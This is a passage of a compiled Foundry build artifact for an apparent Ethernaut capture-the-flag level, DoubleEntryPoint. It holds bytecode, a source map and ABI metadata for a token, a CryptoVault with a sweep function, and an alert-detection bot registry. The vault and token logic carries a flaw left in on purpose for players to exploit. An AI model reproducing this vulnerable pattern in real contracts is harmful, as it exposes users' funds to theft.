1610b49565b50565b6001600160a01b0383166106925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b03821661070e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146104125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bb565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461085257818110156108455760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104bb565b6108528484848403610617565b50505050565b6001600160a01b0383166108d45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0383165f90815260208190526040902054818110156109de5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610a14908490610d0d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6091815260200190565b60405180910390a3610852565b6001600160a01b038216610ac35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104bb565b8060025f828254610ad49190610d0d565b90915550506001600160a01b0382165f9081526020819052604081208054839290610b00908490610d0d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f33610347818585610858565b5f602080835283518060208501525f5b81811015610be057858101830151858201604001528201610bc4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610614575f80fd5b5f8060408385031215610c25575f80fd5b8235610c3081610c00565b946020939093013593505050565b5f60208284031215610c4e575f80fd5b8135610c5981610c00565b9392505050565b5f805f60608486031215610c72575f80fd5b8335610c7d81610c00565b92506020840135610c8d81610c00565b929592945050506040919091013590565b5f8060408385031215610caf575f80fd5b8235610cba81610c00565b91506020830135610cca81610c00565b809150509250929050565b600181811c90821680610ce957607f821691505b602082108103610d0757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561034d57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610d3c575f80fd5b81518015158114610c59575f80fdfea264697066735822122091f156bcbbd2a567f95d290a69dc896582a8d0d550079d51e1028da3fc20535b64736f6c63430008180033608060405234801561000f575f80fd5b506103b78061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e927c681161004d5780639e927c68146100c2578063dc702fa014610116578063fa1fd28c14610143575f80fd5b8063087a43c1146100685780639e1083ca1461007d575b5f80fd5b61007b610076366004610269565b610156565b005b6100a561008b366004610269565b5f602081905290815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b6100d0366004610269565b335f90815260208190526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610135610124366004610269565b60016020525f908152604090205481565b6040519081526020016100b9565b61007b610151366004610289565b6101a2565b6001600160a01b038181165f908152602081905260409020541633146101795750565b335f908152600160208190526040822080549192909161019a908490610305565b909155505050565b6001600160a01b038381165f90815260208190526040902054166101c557505050565b6001600160a01b038084165f90815260208190526040908190205490517f220ab6aa00000000000000000000000000000000000000000000000000000000815291169063220ab6aa9061022090869086908690600401610343565b5f604051808303815f87803b158015610237575f80fd5b505af1925050508015610248575060015b50505050565b80356001600160a01b0381168114610264575f80fd5b919050565b5f60208284031215610279575f80fd5b6102828261024e565b9392505050565b5f805f6040848603121561029b575f80fd5b6102a48461024e565b9250602084013567ffffffffffffffff808211156102c0575f80fd5b818601915086601f8301126102d3575f80fd5b8135818111156102e1575f80fd5b8760208285010111156102f2575f80fd5b6020830194508093505050509250925092565b8082018082111561033d577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b92915050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea2646970667358221220eb48eff7002bb43b8acbcdc21f1a5d3fa231d40319163eb712092d93b34c34e364736f6c63430008180033608060405234801561000f575f80fd5b506040516103f33803806103f383398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b6103678061008c5f395ff3fe608060405234801561000f575f80fd5b506004361061004a575f3560e01c80631be195601461004e5780633234a197146100635780636f307dc314610091578063bdb2321f146100a4575b5f80fd5b61006161005c3660046102d9565b6100b7565b005b5f54610075906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b600154610075906001600160a01b031681565b6100616100b23660046102d9565b61022f565b6001546001600160a01b039081169082160361011a5760405162461bcd60e51b815260206004820152601f60248201527f43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e0060448201526064015b60405180910390fd5b5f546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906102fb565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610207573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022b9190610312565b5050565b6001546001600160a01b0316156102885760405162461bcd60e51b815260206004820152600b60248201527f416c7265616479207365740000000000000000000000000000000000000000006044820152606401610111565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03811681146102d6575f80fd5b50565b5f602082840312156102e9575f80fd5b81356102f4816102c2565b9392505050565b5f6020828403121561030b575f80fd5b5051919050565b5f60208284031215610322575f80fd5b815180151581146102f4575f80fdfea2646970667358221220f81905746f66adb7c26ee21cad54b550de152f67d81bed95a109f49082102d1d64736f6c63430008180033608060405234801562000010575f80fd5b50604051620013e6380380620013e6833981016040819052620000339162000284565b6040518060400160405280601581526020017f446f75626c65456e747279506f696e74546f6b656e00000000000000000000008152506040518060400160405280600381526020016211115560ea1b81525081600390816200009691906200037b565b506004620000a582826200037b565b505050620000c2620000bc6200012960201b60201c565b6200012d565b600880546001600160a01b038087166001600160a01b03199283161790925560098054858416908316179055600780548484169083161790556006805492861692909116821790556200011f9068056bc75e2d631000006200017e565b505050506200046d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620001d95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001ec919062000447565b90915550506001600160a01b0382165f90815260208190526040812080548392906200021a90849062000447565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b80516001600160a01b03811681146200027f575f80fd5b919050565b5f805f806080858703121562000298575f80fd5b620002a38562000268565b9350620002b36020860162000268565b9250620002c36040860162000268565b9150620002d36060860162000268565b905092959194509250565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200030757607f821691505b6020821081036200032657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200026357805f5260205f20601f840160051c81016020851015620003535750805b601f840160051c820191505b8181101562000374575f81556001016200035f565b5050505050565b81516001600160401b03811115620003975762000397620002de565b620003af81620003a88454620002f2565b846200032c565b602080601f831160018114620003e5575f8415620003cd5750858301515b5f19600386901b1c1916600185901b1785556200043f565b5f85815260208120601f198616915b828110156200041557888601518255948401946001909101908401620003f4565b50858210156200043357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200046757634e487b7160e01b5f52601160045260245ffd5b92915050565b610f6b806200047b5f395ff3fe608060405234801561000f575f80fd5b5060043610610149575f3560e01c8063715018a6116100c7578063a9059cbb1161007d578063d8670e1f11610063578063d8670e1f146102aa578063dd62ed3e146102bd578063f2fde38b146102f5575f80fd5b8063a9059cbb14610284578063d444d8a014610297575f80fd5b806395d89b41116100ad57806395d89b41146102565780639cd1a1211461025e578063a457c2d714610271575f80fd5b8063715018a61461023b5780638da5cb5b14610245575f80fd5b806326fe99511161011c578063395093511161010257806339509351146101ed57806348db5f891461020057806370a0823114610213575f80fd5b806326fe9951146101b3578063313ce567146101de575f80fd5b806306fdde031461014d578063095ea7b31461016b57806318160ddd1461018e57806323b872dd146101a0575b5f80fd5b610155610308565b6040516101629190610d0e565b60405180910390f35b61017e610179366004610d6e565b610398565b6040519015158152602001610162565b6002545b604051908152602001610162565b61017e6101ae366004610d98565b6103b1565b6008546101c6906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b60405160128152602001610162565b61017e6101fb366004610d6e565b6103d4565b6007546101c6906001600160a01b031681565b610192610221366004610dd6565b6001600160a01b03165f9081526020819052604090205490565b610243610412565b005b6005546001600160a01b03166101c6565b610155610425565b61017e61026c366004610df8565b610434565b61017e61027f366004610d6e565b610709565b61017e610292366004610d6e565b6107b2565b6006546101c6906001600160a01b031681565b6009546101c6906001600160a01b031681565b6101926102cb366004610e37565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610243610303366004610dd6565b6107bf565b60606003805461031790610e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461034390610e6e565b801561038e5780601f106103655761010080835404028352916020019161038e565b820191905f5260205f20905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b5f336103a581858561084f565b60019150505b92915050565b5f336103be8582856109a6565b6103c9858585610a36565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906103a5908290869061040d908790610ea6565b61084f565b61041a610c4b565b6104235f610ca5565b565b60606004805461031790610e6e565b6008545f906001600160a01b031633146104955760405162461bcd60e51b815260206004820152601360248201527f4e6f74206c656761637920636f6e74726163740000000000000000000000000060448201526064015b60405180910390fd5b6009546007546040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f929190911690639e1083ca90602401602060405180830381865afa1580156104fc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105209190610ec5565b6009546040516306e3817d60e51b81526001600160a01b0380841660048301529293505f929091169063dc702fa090602401602060405180830381865afa15801561056d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105919190610ee0565b6009546007546040517ffa1fd28c0000000000000000000000000000000000000000000000000000000081529293506001600160a01b039182169263fa1fd28c926105e49216905f903690600401610ef7565b5f604051808303815f87803b1580156105fb575f80fd5b505af115801561060d573d5f803e3d5ffd5b5050505061061c848787610a36565b6009546040516306e3817d60e51b81526001600160a01b038481166004830152600195508392169063dc702fa090602401602060405180830381865afa158015610668573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190610ee0565b11156107005760405162461bcd60e51b815260206004820152602360248201527f416c65727420686173206265656e207472696767657265642c2072657665727460448201527f696e670000000000000000000000000000000000000000000000000000000000606482015260840161048c565b50509392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156107a55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f000000000000000000000000000000000000000000000000000000606482015260840161048c565b6103c9828686840361084f565b5f336103a5818585610a36565b6107c7610c4b565b6001600160a01b0381166108435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161048c565b61084c81610ca5565b50565b6001600160a01b0383166108ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610a305781811015610a235760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161048c565b610a30848484840361084f565b50505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038216610b2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b0383165f9081526020819052604090205481811015610bbc5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161048c565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610bf2908490610ea6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3e91815260200190565b60405180910390a3610a30565b6005546001600160a01b031633146104235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161048c565b600580546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f602080835283518060208501525f5b81811015610d3a57858101830151858201604001528201610d1e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461084c575f80fd5b5f8060408385031215610d7f575f80fd5b8235610d8a81610d5a565b946020939093013593505050565b5f805f60608486031215610daa575f80fd5b8335610db581610d5a565b92506020840135610dc581610d5a565b929592945050506040919091013590565b5f60208284031215610de6575f80fd5b8135610df181610d5a565b9392505050565b5f805f60608486031215610e0a575f80fd5b8335610e1581610d5a565b9250602084013591506040840135610e2c81610d5a565b809150509250925092565b5f8060408385031215610e48575f80fd5b8235610e5381610d5a565b91506020830135610e6381610d5a565b809150509250929050565b600181811c90821680610e8257607f821691505b602082108103610ea057634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156103ab57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610ed5575f80fd5b8151610df181610d5a565b5f60208284031215610ef0575f80fd5b5051919050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea26469706673582212202f75fc0f92bf3432056d019fa2a6372c4f9af5d411bdc0f55ec08ce180024a0b64736f6c63430008180033a26469706673582212205de16f4bda6c4ef2e9c5bf83ba968da9d5f6d2d3ffd4ecab539b69ffbe1e0d2664736f6c63430008180033","sourceMap":"119:1953:72:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;167:833:72;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;167:833:72;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;1006:708:72;;;;;;;;;;-1:-1:-1;1006:708:72;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;1006:708:72;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1720:350:72:-;;;;;;;;;;-1:-1:-1;1720:350:72;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;1831:101:23:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;167:833:72:-;241:7;291:20;314:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;291:40;;380:11;394;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;380:25;;451:17;487:7;471:24;;;;;:::i;:::-;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;471:24:72;;;;;;;;;;;;;;;;;;;;;;;451:44;;536:25;593:8;612:5;628;636:7;564:80;;;;;:::i;:::-;-1:-1:-1;;;;;2734:15:155;;;2716:34;;2786:15;;;2781:2;2766:18;;2759:43;2838:15;;;2833:2;2818:18;;2811:43;2890:15;;;2885:2;2870:18;;2863:43;2642:3;2627:19;564:80:72;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;695:38:72;;;;;-1:-1:-1;;;;;589:55:155;;;695:38:72;;;571:74:155;536:108:72;;-1:-1:-1;695:19:72;;;;;;544:18:155;;695:38:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;791:64:72;;;;;-1:-1:-1;;;;;589:55:155;;;791:64:72;;;571:74:155;791:30:72;;;-1:-1:-1;791:30:72;;-1:-1:-1;544:18:155;;791:64:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;918:40:72;;;;;-1:-1:-1;;;;;3391:55:155;;;918:40:72;;;3373:74:155;948:9:72;3463:18:155;;;3456:34;918:13:72;;;-1:-1:-1;918:13:72;;-1:-1:-1;3346:18:155;;918:40:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;984:8:72;;167:833;-1:-1:-1;;;;;;;;167:833:72:o;1006:708::-;1101:4;1117:25;1162:9;1117:55;;1182:11;1196:8;-1:-1:-1;;;;;1196:14:72;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1320:33;;;;;-1:-1:-1;;;;;589:55:155;;;1320:33:72;;;571:74:155;1182:30:72;;-1:-1:-1;1284:25:72;;1320:24;;;;;544:18:155;;1320:33:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1284:70;-1:-1:-1;;;;;;1368:31:72;;1364:49;;1408:5;1401:12;;;;;;;1364:49;1424:13;1440:8;-1:-1:-1;;;;;1440:20:72;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1558:38;;;;;-1:-1:-1;;;;;4607:15:155;;;1558:38:72;;;4589:34:155;4659:15;;4639:18;;;4632:43;1424:38:72;;-1:-1:-1;1424:38:72;;1472:23;;;;1558:4;;:15;;4501:18:155;;1558:38:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1558:38:72;;;;;;;;;;;;:::i;:::-;1527:69;;;;1616:2;1615:3;1607:30;;;;-1:-1:-1;;;1607:30:72;;6226:2:155;1607:30:72;;;6208:21:155;6265:2;6245:18;;;6238:30;6304:16;6284:18;;;6277:44;6338:18;;1607:30:72;;;;;;;;;1648:10;1672:4;1661:24;;;;;;;;;;;;:::i;:::-;1648:37;-1:-1:-1;;;;;;;;;1006:708:72;;;;;:::o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;6776:2:155;2161:73:23::1;::::0;::::1;6758:21:155::0;6815:2;6795:18;;;6788:30;6854:34;6834:18;;;6827:62;6925:8;6905:18;;;6898:36;6951:19;;2161:73:23::1;6574:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1720:350:72:-;1810:4;1816:12;1844:11;-1:-1:-1;;;;;1844:22:72;;1874:8;-1:-1:-1;;;;;1874:22:72;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1844:56;;;;;;;;;;-1:-1:-1;;;;;589:55:155;;;1844:56:72;;;571:74:155;544:18;;1844:56:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1840:224;;1987:5;2050:1;2005:8;-1:-1:-1;;;;;2005:18:72;;2024:8;-1:-1:-1;;;;;2024:20:72;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2005:42;;;;;;;;;;-1:-1:-1;;;;;589:55:155;;;2005:42:72;;;571:74:155;544:18;;2005:42:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1994:58;;;2005:46;;;;1994:58;;;1197:41:155;1170:18;1994:58:72;;;;;;;;;;;;;1979:74;;;;;;1840:224;1929:17;;;1940:5;1929:17;;;1197:41:155;1923:4:72;;1170:18:155;1929:17:72;1057:187:155;1840:224:72;1720:350;;;;;:::o;1359:130:23:-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;7619:2:155;1414:68:23;;;7601:21:155;;;7638:18;;;7631:30;7697:34;7677:18;;;7670:62;7749:18;;1414:68:23;7417:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1689:250::-;1774:1;1784:113;1798:6;1795:1;1792:13;1784:113;;;1874:11;;;1868:18;1855:11;;;1848:39;1820:2;1813:10;1784:113;;;-1:-1:-1;;1931:1:155;1913:16;;1906:27;1689:250::o;1944:475::-;2127:6;2120:14;2113:22;2102:9;2095:41;2172:2;2167;2156:9;2152:18;2145:30;2076:4;2204:6;2198:13;2247:6;2242:2;2231:9;2227:18;2220:34;2263:79;2335:6;2330:2;2319:9;2315:18;2310:2;2302:6;2298:15;2263:79;:::i;:::-;2403:2;2382:15;-1:-1:-1;;2378:29:155;2363:45;;;;2410:2;2359:54;;1944:475;-1:-1:-1;;;1944:475:155:o;3501:266::-;3586:6;3639:2;3627:9;3618:7;3614:23;3610:32;3607:52;;;3655:1;3652;3645:12;3607:52;3687:9;3681:16;3706:31;3731:5;3706:31;:::i;4686:164::-;4762:13;;4811;;4804:21;4794:32;;4784:60;;4840:1;4837;4830:12;4784:60;4686:164;;;:::o;4855:184::-;4907:77;4904:1;4897:88;5004:4;5001:1;4994:15;5028:4;5025:1;5018:15;5044:975;5129:6;5137;5190:2;5178:9;5169:7;5165:23;5161:32;5158:52;;;5206:1;5203;5196:12;5158:52;5229:37;5256:9;5229:37;:::i;:::-;5219:47;;5310:2;5299:9;5295:18;5289:25;5333:18;5374:2;5366:6;5363:14;5360:34;;;5390:1;5387;5380:12;5360:34;5428:6;5417:9;5413:22;5403:32;;5473:7;5466:4;5462:2;5458:13;5454:27;5444:55;;5495:1;5492;5485:12;5444:55;5524:2;5518:9;5546:2;5542;5539:10;5536:36;;;5552:18;;:::i;:::-;5627:2;5621:9;5595:2;5681:13;;-1:-1:-1;;5677:22:155;;;5701:2;5673:31;5669:40;5657:53;;;5725:18;;;5745:22;;;5722:46;5719:72;;;5771:18;;:::i;:::-;5811:10;5807:2;5800:22;5846:2;5838:6;5831:18;5886:7;5881:2;5876;5872;5868:11;5864:20;5861:33;5858:53;;;5907:1;5904;5897:12;5858:53;5920:68;5985:2;5980;5972:6;5968:15;5963:2;5959;5955:11;5920:68;:::i;:::-;6007:6;5997:16;;;;;;;5044:975;;;;;:::o;6367:202::-;6434:6;6487:2;6475:9;6466:7;6462:23;6458:32;6455:52;;;6503:1;6500;6493:12;6455:52;6526:37;6553:9;6526:37;:::i;7228:184::-;7298:6;7351:2;7339:9;7330:7;7326:23;7322:32;7319:52;;;7367:1;7364;7357:12;7319:52;-1:-1:-1;7390:16:155;;7228:184;-1:-1:-1;7228:184:155:o","linkReferences":{}},"methodIdentifiers":{"__trySweep(address,address)":"fae99eae","createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"contract CryptoVault\",\"name\":\"cryptoVault\",\"type\":\"address\"},{\"internalType\":\"contract DoubleEntryPoint\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"__trySweep\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DoubleEntryPointFactory.sol\":\"DoubleEntryPointFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8